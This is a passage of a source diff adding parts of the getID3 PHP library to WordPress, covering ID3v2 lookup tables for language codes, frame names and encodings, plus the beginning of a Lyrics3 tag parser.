+			kua	Kuanyama
+			kum	Kumyk
+			kur	Kurdish
+			kus	Kusaie
+			kut	Kutenai
+			lad	Ladino
+			lah	Lahnda
+			lam	Lamba
+			lao	Lao
+			lat	Latin
+			lav	Latvian
+			lez	Lezghian
+			lin	Lingala
+			lit	Lithuanian
+			lol	Mongo
+			loz	Lozi
+			ltz	Letzeburgesch
+			lub	Luba-Katanga
+			lug	Ganda
+			lui	Luiseno
+			lun	Lunda
+			luo	Luo (Kenya and Tanzania)
+			mac	Macedonian
+			mad	Madurese
+			mag	Magahi
+			mah	Marshall
+			mai	Maithili
+			mak	Macedonian
+			mak	Makasar
+			mal	Malayalam
+			man	Mandingo
+			mao	Maori
+			map	Austronesian (Other)
+			mar	Marathi
+			mas	Masai
+			max	Manx
+			may	Malay
+			men	Mende
+			mga	Irish, Middle (900 - 1200)
+			mic	Micmac
+			min	Minangkabau
+			mis	Miscellaneous (Other)
+			mkh	Mon-Kmer (Other)
+			mlg	Malagasy
+			mlt	Maltese
+			mni	Manipuri
+			mno	Manobo Languages
+			moh	Mohawk
+			mol	Moldavian
+			mon	Mongolian
+			mos	Mossi
+			mri	Maori
+			msa	Malay
+			mul	Multiple Languages
+			mun	Munda Languages
+			mus	Creek
+			mwr	Marwari
+			mya	Burmese
+			myn	Mayan Languages
+			nah	Aztec
+			nai	North American Indian (Other)
+			nau	Nauru
+			nav	Navajo
+			nbl	Ndebele, South
+			nde	Ndebele, North
+			ndo	Ndongo
+			nep	Nepali
+			new	Newari
+			nic	Niger-Kordofanian (Other)
+			niu	Niuean
+			nla	Dutch
+			nno	Norwegian (Nynorsk)
+			non	Norse, Old
+			nor	Norwegian
+			nso	Sotho, Northern
+			nub	Nubian Languages
+			nya	Nyanja
+			nym	Nyamwezi
+			nyn	Nyankole
+			nyo	Nyoro
+			nzi	Nzima
+			oci	Langue d'Oc (post 1500)
+			oji	Ojibwa
+			ori	Oriya
+			orm	Oromo
+			osa	Osage
+			oss	Ossetic
+			ota	Turkish, Ottoman (1500 - 1928)
+			oto	Otomian Languages
+			paa	Papuan-Australian (Other)
+			pag	Pangasinan
+			pal	Pahlavi
+			pam	Pampanga
+			pan	Panjabi
+			pap	Papiamento
+			pau	Palauan
+			peo	Persian, Old (ca 600 - 400 B.C.)
+			per	Persian
+			phn	Phoenician
+			pli	Pali
+			pol	Polish
+			pon	Ponape
+			por	Portuguese
+			pra	Prakrit uages
+			pro	Provencal, Old (to 1500)
+			pus	Pushto
+			que	Quechua
+			raj	Rajasthani
+			rar	Rarotongan
+			roa	Romance (Other)
+			roh	Rhaeto-Romance
+			rom	Romany
+			ron	Romanian
+			rum	Romanian
+			run	Rundi
+			rus	Russian
+			sad	Sandawe
+			sag	Sango
+			sah	Yakut
+			sai	South American Indian (Other)
+			sal	Salishan Languages
+			sam	Samaritan Aramaic
+			san	Sanskrit
+			sco	Scots
+			scr	Serbo-Croatian
+			sel	Selkup
+			sem	Semitic (Other)
+			sga	Irish, Old (to 900)
+			shn	Shan
+			sid	Sidamo
+			sin	Singhalese
+			sio	Siouan Languages
+			sit	Sino-Tibetan (Other)
+			sla	Slavic (Other)
+			slk	Slovak
+			slo	Slovak
+			slv	Slovenian
+			smi	Sami Languages
+			smo	Samoan
+			sna	Shona
+			snd	Sindhi
+			sog	Sogdian
+			som	Somali
+			son	Songhai
+			sot	Sotho, Southern
+			spa	Spanish
+			sqi	Albanian
+			srd	Sardinian
+			srr	Serer
+			ssa	Nilo-Saharan (Other)
+			ssw	Siswant
+			ssw	Swazi
+			suk	Sukuma
+			sun	Sudanese
+			sus	Susu
+			sux	Sumerian
+			sve	Swedish
+			swa	Swahili
+			swe	Swedish
+			syr	Syriac
+			tah	Tahitian
+			tam	Tamil
+			tat	Tatar
+			tel	Telugu
+			tem	Timne
+			ter	Tereno
+			tgk	Tajik
+			tgl	Tagalog
+			tha	Thai
+			tib	Tibetan
+			tig	Tigre
+			tir	Tigrinya
+			tiv	Tivi
+			tli	Tlingit
+			tmh	Tamashek
+			tog	Tonga (Nyasa)
+			ton	Tonga (Tonga Islands)
+			tru	Truk
+			tsi	Tsimshian
+			tsn	Tswana
+			tso	Tsonga
+			tuk	Turkmen
+			tum	Tumbuka
+			tur	Turkish
+			tut	Altaic (Other)
+			twi	Twi
+			tyv	Tuvinian
+			uga	Ugaritic
+			uig	Uighur
+			ukr	Ukrainian
+			umb	Umbundu
+			und	Undetermined
+			urd	Urdu
+			uzb	Uzbek
+			vai	Vai
+			ven	Venda
+			vie	Vietnamese
+			vol	Volapük
+			vot	Votic
+			wak	Wakashan Languages
+			wal	Walamo
+			war	Waray
+			was	Washo
+			wel	Welsh
+			wen	Sorbian Languages
+			wol	Wolof
+			xho	Xhosa
+			yao	Yao
+			yap	Yap
+			yid	Yiddish
+			yor	Yoruba
+			zap	Zapotec
+			zen	Zenaga
+			zha	Zhuang
+			zho	Chinese
+			zul	Zulu
+			zun	Zuni
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode');
+	}
+
+
+	public static function ETCOEventLookup($index) {
+		if (($index >= 0x17) && ($index <= 0xDF)) {
+			return 'reserved for future use';
+		}
+		if (($index >= 0xE0) && ($index <= 0xEF)) {
+			return 'not predefined synch 0-F';
+		}
+		if (($index >= 0xF0) && ($index <= 0xFC)) {
+			return 'reserved for future use';
+		}
+
+		static $EventLookup = array(
+			0x00 => 'padding (has no meaning)',
+			0x01 => 'end of initial silence',
+			0x02 => 'intro start',
+			0x03 => 'main part start',
+			0x04 => 'outro start',
+			0x05 => 'outro end',
+			0x06 => 'verse start',
+			0x07 => 'refrain start',
+			0x08 => 'interlude start',
+			0x09 => 'theme start',
+			0x0A => 'variation start',
+			0x0B => 'key change',
+			0x0C => 'time change',
+			0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)',
+			0x0E => 'sustained noise',
+			0x0F => 'sustained noise end',
+			0x10 => 'intro end',
+			0x11 => 'main part end',
+			0x12 => 'verse end',
+			0x13 => 'refrain end',
+			0x14 => 'theme end',
+			0x15 => 'profanity',
+			0x16 => 'profanity end',
+			0xFD => 'audio end (start of silence)',
+			0xFE => 'audio file ends',
+			0xFF => 'one more byte of events follows'
+		);
+
+		return (isset($EventLookup[$index]) ? $EventLookup[$index] : '');
+	}
+
+	public static function SYTLContentTypeLookup($index) {
+		static $SYTLContentTypeLookup = array(
+			0x00 => 'other',
+			0x01 => 'lyrics',
+			0x02 => 'text transcription',
+			0x03 => 'movement/part name', // (e.g. 'Adagio')
+			0x04 => 'events',             // (e.g. 'Don Quijote enters the stage')
+			0x05 => 'chord',              // (e.g. 'Bb F Fsus')
+			0x06 => 'trivia/\'pop up\' information',
+			0x07 => 'URLs to webpages',
+			0x08 => 'URLs to images'
+		);
+
+		return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : '');
+	}
+
+	public static function APICPictureTypeLookup($index, $returnarray=false) {
+		static $APICPictureTypeLookup = array(
+			0x00 => 'Other',
+			0x01 => '32x32 pixels \'file icon\' (PNG only)',
+			0x02 => 'Other file icon',
+			0x03 => 'Cover (front)',
+			0x04 => 'Cover (back)',
+			0x05 => 'Leaflet page',
+			0x06 => 'Media (e.g. label side of CD)',
+			0x07 => 'Lead artist/lead performer/soloist',
+			0x08 => 'Artist/performer',
+			0x09 => 'Conductor',
+			0x0A => 'Band/Orchestra',
+			0x0B => 'Composer',
+			0x0C => 'Lyricist/text writer',
+			0x0D => 'Recording Location',
+			0x0E => 'During recording',
+			0x0F => 'During performance',
+			0x10 => 'Movie/video screen capture',
+			0x11 => 'A bright coloured fish',
+			0x12 => 'Illustration',
+			0x13 => 'Band/artist logotype',
+			0x14 => 'Publisher/Studio logotype'
+		);
+		if ($returnarray) {
+			return $APICPictureTypeLookup;
+		}
+		return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : '');
+	}
+
+	public static function COMRReceivedAsLookup($index) {
+		static $COMRReceivedAsLookup = array(
+			0x00 => 'Other',
+			0x01 => 'Standard CD album with other songs',
+			0x02 => 'Compressed audio on CD',
+			0x03 => 'File over the Internet',
+			0x04 => 'Stream over the Internet',
+			0x05 => 'As note sheets',
+			0x06 => 'As note sheets in a book with other sheets',
+			0x07 => 'Music on other media',
+			0x08 => 'Non-musical merchandise'
+		);
+
+		return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : '');
+	}
+
+	public static function RVA2ChannelTypeLookup($index) {
+		static $RVA2ChannelTypeLookup = array(
+			0x00 => 'Other',
+			0x01 => 'Master volume',
+			0x02 => 'Front right',
+			0x03 => 'Front left',
+			0x04 => 'Back right',
+			0x05 => 'Back left',
+			0x06 => 'Front centre',
+			0x07 => 'Back centre',
+			0x08 => 'Subwoofer'
+		);
+
+		return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : '');
+	}
+
+	public static function FrameNameLongLookup($framename) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			AENC	Audio encryption
+			APIC	Attached picture
+			ASPI	Audio seek point index
+			BUF	Recommended buffer size
+			CNT	Play counter
+			COM	Comments
+			COMM	Comments
+			COMR	Commercial frame
+			CRA	Audio encryption
+			CRM	Encrypted meta frame
+			ENCR	Encryption method registration
+			EQU	Equalisation
+			EQU2	Equalisation (2)
+			EQUA	Equalisation
+			ETC	Event timing codes
+			ETCO	Event timing codes
+			GEO	General encapsulated object
+			GEOB	General encapsulated object
+			GRID	Group identification registration
+			IPL	Involved people list
+			IPLS	Involved people list
+			LINK	Linked information
+			LNK	Linked information
+			MCDI	Music CD identifier
+			MCI	Music CD Identifier
+			MLL	MPEG location lookup table
+			MLLT	MPEG location lookup table
+			OWNE	Ownership frame
+			PCNT	Play counter
+			PIC	Attached picture
+			POP	Popularimeter
+			POPM	Popularimeter
+			POSS	Position synchronisation frame
+			PRIV	Private frame
+			RBUF	Recommended buffer size
+			REV	Reverb
+			RVA	Relative volume adjustment
+			RVA2	Relative volume adjustment (2)
+			RVAD	Relative volume adjustment
+			RVRB	Reverb
+			SEEK	Seek frame
+			SIGN	Signature frame
+			SLT	Synchronised lyric/text
+			STC	Synced tempo codes
+			SYLT	Synchronised lyric/text
+			SYTC	Synchronised tempo codes
+			TAL	Album/Movie/Show title
+			TALB	Album/Movie/Show title
+			TBP	BPM (Beats Per Minute)
+			TBPM	BPM (beats per minute)
+			TCM	Composer
+			TCMP	Part of a compilation
+			TCO	Content type
+			TCOM	Composer
+			TCON	Content type
+			TCOP	Copyright message
+			TCP	Part of a compilation
+			TCR	Copyright message
+			TDA	Date
+			TDAT	Date
+			TDEN	Encoding time
+			TDLY	Playlist delay
+			TDOR	Original release time
+			TDRC	Recording time
+			TDRL	Release time
+			TDTG	Tagging time
+			TDY	Playlist delay
+			TEN	Encoded by
+			TENC	Encoded by
+			TEXT	Lyricist/Text writer
+			TFLT	File type
+			TFT	File type
+			TIM	Time
+			TIME	Time
+			TIPL	Involved people list
+			TIT1	Content group description
+			TIT2	Title/songname/content description
+			TIT3	Subtitle/Description refinement
+			TKE	Initial key
+			TKEY	Initial key
+			TLA	Language(s)
+			TLAN	Language(s)
+			TLE	Length
+			TLEN	Length
+			TMCL	Musician credits list
+			TMED	Media type
+			TMOO	Mood
+			TMT	Media type
+			TOA	Original artist(s)/performer(s)
+			TOAL	Original album/movie/show title
+			TOF	Original filename
+			TOFN	Original filename
+			TOL	Original Lyricist(s)/text writer(s)
+			TOLY	Original lyricist(s)/text writer(s)
+			TOPE	Original artist(s)/performer(s)
+			TOR	Original release year
+			TORY	Original release year
+			TOT	Original album/Movie/Show title
+			TOWN	File owner/licensee
+			TP1	Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group
+			TP2	Band/Orchestra/Accompaniment
+			TP3	Conductor/Performer refinement
+			TP4	Interpreted, remixed, or otherwise modified by
+			TPA	Part of a set
+			TPB	Publisher
+			TPE1	Lead performer(s)/Soloist(s)
+			TPE2	Band/orchestra/accompaniment
+			TPE3	Conductor/performer refinement
+			TPE4	Interpreted, remixed, or otherwise modified by
+			TPOS	Part of a set
+			TPRO	Produced notice
+			TPUB	Publisher
+			TRC	ISRC (International Standard Recording Code)
+			TRCK	Track number/Position in set
+			TRD	Recording dates
+			TRDA	Recording dates
+			TRK	Track number/Position in set
+			TRSN	Internet radio station name
+			TRSO	Internet radio station owner
+			TS2	Album-Artist sort order
+			TSA	Album sort order
+			TSC	Composer sort order
+			TSI	Size
+			TSIZ	Size
+			TSO2	Album-Artist sort order
+			TSOA	Album sort order
+			TSOC	Composer sort order
+			TSOP	Performer sort order
+			TSOT	Title sort order
+			TSP	Performer sort order
+			TSRC	ISRC (international standard recording code)
+			TSS	Software/hardware and settings used for encoding
+			TSSE	Software/Hardware and settings used for encoding
+			TSST	Set subtitle
+			TST	Title sort order
+			TT1	Content group description
+			TT2	Title/Songname/Content description
+			TT3	Subtitle/Description refinement
+			TXT	Lyricist/text writer
+			TXX	User defined text information frame
+			TXXX	User defined text information frame
+			TYE	Year
+			TYER	Year
+			UFI	Unique file identifier
+			UFID	Unique file identifier
+			ULT	Unsychronised lyric/text transcription
+			USER	Terms of use
+			USLT	Unsynchronised lyric/text transcription
+			WAF	Official audio file webpage
+			WAR	Official artist/performer webpage
+			WAS	Official audio source webpage
+			WCM	Commercial information
+			WCOM	Commercial information
+			WCOP	Copyright/Legal information
+			WCP	Copyright/Legal information
+			WOAF	Official audio file webpage
+			WOAR	Official artist/performer webpage
+			WOAS	Official audio source webpage
+			WORS	Official Internet radio station homepage
+			WPAY	Payment
+			WPB	Publishers official webpage
+			WPUB	Publishers official webpage
+			WXX	User defined URL link frame
+			WXXX	User defined URL link frame
+			TFEA	Featured Artist
+			TSTU	Recording Studio
+			rgad	Replay Gain Adjustment
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long');
+
+		// Last three:
+		// from Helium2 [www.helium2.com]
+		// from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
+	}
+
+
+	public static function FrameNameShortLookup($framename) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			AENC	audio_encryption
+			APIC	attached_picture
+			ASPI	audio_seek_point_index
+			BUF	recommended_buffer_size
+			CNT	play_counter
+			COM	comment
+			COMM	comment
+			COMR	commercial_frame
+			CRA	audio_encryption
+			CRM	encrypted_meta_frame
+			ENCR	encryption_method_registration
+			EQU	equalisation
+			EQU2	equalisation
+			EQUA	equalisation
+			ETC	event_timing_codes
+			ETCO	event_timing_codes
+			GEO	general_encapsulated_object
+			GEOB	general_encapsulated_object
+			GRID	group_identification_registration
+			IPL	involved_people_list
+			IPLS	involved_people_list
+			LINK	linked_information
+			LNK	linked_information
+			MCDI	music_cd_identifier
+			MCI	music_cd_identifier
+			MLL	mpeg_location_lookup_table
+			MLLT	mpeg_location_lookup_table
+			OWNE	ownership_frame
+			PCNT	play_counter
+			PIC	attached_picture
+			POP	popularimeter
+			POPM	popularimeter
+			POSS	position_synchronisation_frame
+			PRIV	private_frame
+			RBUF	recommended_buffer_size
+			REV	reverb
+			RVA	relative_volume_adjustment
+			RVA2	relative_volume_adjustment
+			RVAD	relative_volume_adjustment
+			RVRB	reverb
+			SEEK	seek_frame
+			SIGN	signature_frame
+			SLT	synchronised_lyric
+			STC	synced_tempo_codes
+			SYLT	synchronised_lyric
+			SYTC	synchronised_tempo_codes
+			TAL	album
+			TALB	album
+			TBP	bpm
+			TBPM	bpm
+			TCM	composer
+			TCMP	part_of_a_compilation
+			TCO	genre
+			TCOM	composer
+			TCON	genre
+			TCOP	copyright_message
+			TCP	part_of_a_compilation
+			TCR	copyright_message
+			TDA	date
+			TDAT	date
+			TDEN	encoding_time
+			TDLY	playlist_delay
+			TDOR	original_release_time
+			TDRC	recording_time
+			TDRL	release_time
+			TDTG	tagging_time
+			TDY	playlist_delay
+			TEN	encoded_by
+			TENC	encoded_by
+			TEXT	lyricist
+			TFLT	file_type
+			TFT	file_type
+			TIM	time
+			TIME	time
+			TIPL	involved_people_list
+			TIT1	content_group_description
+			TIT2	title
+			TIT3	subtitle
+			TKE	initial_key
+			TKEY	initial_key
+			TLA	language
+			TLAN	language
+			TLE	length
+			TLEN	length
+			TMCL	musician_credits_list
+			TMED	media_type
+			TMOO	mood
+			TMT	media_type
+			TOA	original_artist
+			TOAL	original_album
+			TOF	original_filename
+			TOFN	original_filename
+			TOL	original_lyricist
+			TOLY	original_lyricist
+			TOPE	original_artist
+			TOR	original_year
+			TORY	original_year
+			TOT	original_album
+			TOWN	file_owner
+			TP1	artist
+			TP2	band
+			TP3	conductor
+			TP4	remixer
+			TPA	part_of_a_set
+			TPB	publisher
+			TPE1	artist
+			TPE2	band
+			TPE3	conductor
+			TPE4	remixer
+			TPOS	part_of_a_set
+			TPRO	produced_notice
+			TPUB	publisher
+			TRC	isrc
+			TRCK	track_number
+			TRD	recording_dates
+			TRDA	recording_dates
+			TRK	track_number
+			TRSN	internet_radio_station_name
+			TRSO	internet_radio_station_owner
+			TS2	album_artist_sort_order
+			TSA	album_sort_order
+			TSC	composer_sort_order
+			TSI	size
+			TSIZ	size
+			TSO2	album_artist_sort_order
+			TSOA	album_sort_order
+			TSOC	composer_sort_order
+			TSOP	performer_sort_order
+			TSOT	title_sort_order
+			TSP	performer_sort_order
+			TSRC	isrc
+			TSS	encoder_settings
+			TSSE	encoder_settings
+			TSST	set_subtitle
+			TST	title_sort_order
+			TT1	content_group_description
+			TT2	title
+			TT3	subtitle
+			TXT	lyricist
+			TXX	text
+			TXXX	text
+			TYE	year
+			TYER	year
+			UFI	unique_file_identifier
+			UFID	unique_file_identifier
+			ULT	unsychronised_lyric
+			USER	terms_of_use
+			USLT	unsynchronised_lyric
+			WAF	url_file
+			WAR	url_artist
+			WAS	url_source
+			WCM	commercial_information
+			WCOM	commercial_information
+			WCOP	copyright
+			WCP	copyright
+			WOAF	url_file
+			WOAR	url_artist
+			WOAS	url_source
+			WORS	url_station
+			WPAY	url_payment
+			WPB	url_publisher
+			WPUB	url_publisher
+			WXX	url_user
+			WXXX	url_user
+			TFEA	featured_artist
+			TSTU	recording_studio
+			rgad	replay_gain_adjustment
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short');
+	}
+
+	public static function TextEncodingTerminatorLookup($encoding) {
+		// http://www.id3.org/id3v2.4.0-structure.txt
+		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
+		static $TextEncodingTerminatorLookup = array(
+			0   => "\x00",     // $00  ISO-8859-1. Terminated with $00.
+			1   => "\x00\x00", // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
+			2   => "\x00\x00", // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
+			3   => "\x00",     // $03  UTF-8 encoded Unicode. Terminated with $00.
+			255 => "\x00\x00"
+		);
+		return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : '');
+	}
+
+	public static function TextEncodingNameLookup($encoding) {
+		// http://www.id3.org/id3v2.4.0-structure.txt
+		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
+		static $TextEncodingNameLookup = array(
+			0   => 'ISO-8859-1', // $00  ISO-8859-1. Terminated with $00.
+			1   => 'UTF-16',     // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
+			2   => 'UTF-16BE',   // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
+			3   => 'UTF-8',      // $03  UTF-8 encoded Unicode. Terminated with $00.
+			255 => 'UTF-16BE'
+		);
+		return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1');
+	}
+
+	public static function IsValidID3v2FrameName($framename, $id3v2majorversion) {
+		switch ($id3v2majorversion) {
+			case 2:
+				return preg_match('#[A-Z][A-Z0-9]{2}#', $framename);
+				break;
+
+			case 3:
+			case 4:
+				return preg_match('#[A-Z][A-Z0-9]{3}#', $framename);
+				break;
+		}
+		return false;
+	}
+
+	public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) {
+		for ($i = 0; $i < strlen($numberstring); $i++) {
+			if ((chr($numberstring{$i}) < chr('0')) || (chr($numberstring{$i}) > chr('9'))) {
+				if (($numberstring{$i} == '.') && $allowdecimal) {
+					// allowed
+				} elseif (($numberstring{$i} == '-') && $allownegative && ($i == 0)) {
+					// allowed
+				} else {
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+
+	public static function IsValidDateStampString($datestamp) {
+		if (strlen($datestamp) != 8) {
+			return false;
+		}
+		if (!self::IsANumber($datestamp, false)) {
+			return false;
+		}
+		$year  = substr($datestamp, 0, 4);
+		$month = substr($datestamp, 4, 2);
+		$day   = substr($datestamp, 6, 2);
+		if (($year == 0) || ($month == 0) || ($day == 0)) {
+			return false;
+		}
+		if ($month > 12) {
+			return false;
+		}
+		if ($day > 31) {
+			return false;
+		}
+		if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) {
+			return false;
+		}
+		if (($day > 29) && ($month == 2)) {
+			return false;
+		}
+		return true;
+	}
+
+	public static function ID3v2HeaderLength($majorversion) {
+		return (($majorversion == 2) ? 6 : 10);
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.tag.lyrics3.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.tag.lyrics3.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.tag.lyrics3.php	(revision 33402)
@@ -0,0 +1,294 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+///                                                            //
+// module.tag.lyrics3.php                                      //
+// module for analyzing Lyrics3 tags                           //
+// dependencies: module.tag.apetag.php (optional)              //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_lyrics3 extends getid3_handler
+{
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		// http://www.volweb.cz/str/tags.htm
+
+		if (!getid3_lib::intValueSupported($info['filesize'])) {
+			$info['warning'][] = 'Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB';
+			return false;
+		}
+
+		$this->fseek((0 - 128 - 9 - 6), SEEK_END);          // end - ID3v1 - "LYRICSEND" - [Lyrics3size]
+		$lyrics3_id3v1 = $this->fread(128 + 9 + 6);
+		$lyrics3lsz    = substr($lyrics3_id3v1,  0,   6); // Lyrics3size
+		$lyrics3end    = substr($lyrics3_id3v1,  6,   9); // LYRICSEND or LYRICS200
+		$id3v1tag      = substr($lyrics3_id3v1, 15, 128); // ID3v1
+
+		if ($lyrics3end == 'LYRICSEND') {
+			// Lyrics3v1, ID3v1, no APE
+
+			$lyrics3size    = 5100;
+			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
+			$lyrics3version = 1;
+
+		} elseif ($lyrics3end == 'LYRICS200') {
+			// Lyrics3v2, ID3v1, no APE
+
+			// LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
+			$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200');
+			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
+			$lyrics3version = 2;
+
+		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) {
+			// Lyrics3v1, no ID3v1, no APE
+
+			$lyrics3size    = 5100;
+			$lyrics3offset  = $info['filesize'] - $lyrics3size;
+			$lyrics3version = 1;
+			$lyrics3offset  = $info['filesize'] - $lyrics3size;
+
+		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) {
+
+			// Lyrics3v2, no ID3v1, no APE
+
+			$lyrics3size    = strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
+			$lyrics3offset  = $info['filesize'] - $lyrics3size;
+			$lyrics3version = 2;
+
+		} else {
+
+			if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) {
+
+				$this->fseek($info['ape']['tag_offset_start'] - 15);
+				$lyrics3lsz = $this->fread(6);
+				$lyrics3end = $this->fread(9);
+
+				if ($lyrics3end == 'LYRICSEND') {
+					// Lyrics3v1, APE, maybe ID3v1
+
+					$lyrics3size    = 5100;
+					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
+					$info['avdataend'] = $lyrics3offset;
+					$lyrics3version = 1;
+					$info['warning'][] = 'APE tag located after Lyrics3, will probably break Lyrics3 compatability';
+
+				} elseif ($lyrics3end == 'LYRICS200') {
+					// Lyrics3v2, APE, maybe ID3v1
+
+					$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
+					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
+					$lyrics3version = 2;
+					$info['warning'][] = 'APE tag located after Lyrics3, will probably break Lyrics3 compatability';
+
+				}
+
+			}
+
+		}
+
+		if (isset($lyrics3offset)) {
+			$info['avdataend'] = $lyrics3offset;
+			$this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size);
+
+			if (!isset($info['ape'])) {
+				$GETID3_ERRORARRAY = &$info['warning'];
+				getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true);
+				$getid3_temp = new getID3();
+				$getid3_temp->openfile($this->getid3->filename);
+				$getid3_apetag = new getid3_apetag($getid3_temp);
+				$getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start'];
+				$getid3_apetag->Analyze();
+				if (!empty($getid3_temp->info['ape'])) {
+					$info['ape'] = $getid3_temp->info['ape'];
+				}
+				if (!empty($getid3_temp->info['replay_gain'])) {
+					$info['replay_gain'] = $getid3_temp->info['replay_gain'];
+				}
+				unset($getid3_temp, $getid3_apetag);
+			}
+
+		}
+
+		return true;
+	}
+
+	public function getLyrics3Data($endoffset, $version, $length) {
+		// http://www.volweb.cz/str/tags.htm
+
+		$info = &$this->getid3->info;
+
+		if (!getid3_lib::intValueSupported($endoffset)) {
+			$info['warning'][] = 'Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB';
+			return false;
+		}
+
+		$this->fseek($endoffset);
+		if ($length <= 0) {
+			return false;
+		}
+		$rawdata = $this->fread($length);
+
+		$ParsedLyrics3['raw']['lyrics3version'] = $version;
+		$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
+		$ParsedLyrics3['tag_offset_start']      = $endoffset;
+		$ParsedLyrics3['tag_offset_end']        = $endoffset + $length - 1;
+
+		if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') {
+			if (strpos($rawdata, 'LYRICSBEGIN') !== false) {
+
+				$info['warning'][] = '"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version;
+				$info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN');
+				$rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN'));
+				$length = strlen($rawdata);
+				$ParsedLyrics3['tag_offset_start'] = $info['avdataend'];
+				$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
+
+			} else {
+
+				$info['error'][] = '"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead';
+				return false;
+
+			}
+
+		}
+
+		switch ($version) {
+
+			case 1:
+				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') {
+					$ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9));
+					$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
+				} else {
+					$info['error'][] = '"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead';
+					return false;
+				}
+				break;
+
+			case 2:
+				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') {
+					$ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ
+					$rawdata = $ParsedLyrics3['raw']['unparsed'];
+					while (strlen($rawdata) > 0) {
+						$fieldname = substr($rawdata, 0, 3);
+						$fieldsize = (int) substr($rawdata, 3, 5);
+						$ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize);
+						$rawdata = substr($rawdata, 3 + 5 + $fieldsize);
+					}
+
+					if (isset($ParsedLyrics3['raw']['IND'])) {
+						$i = 0;
+						$flagnames = array('lyrics', 'timestamps', 'inhibitrandom');
+						foreach ($flagnames as $flagname) {
+							if (strlen($ParsedLyrics3['raw']['IND']) > $i++) {
+								$ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1));
+							}
+						}
+					}
+
+					$fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author');
+					foreach ($fieldnametranslation as $key => $value) {
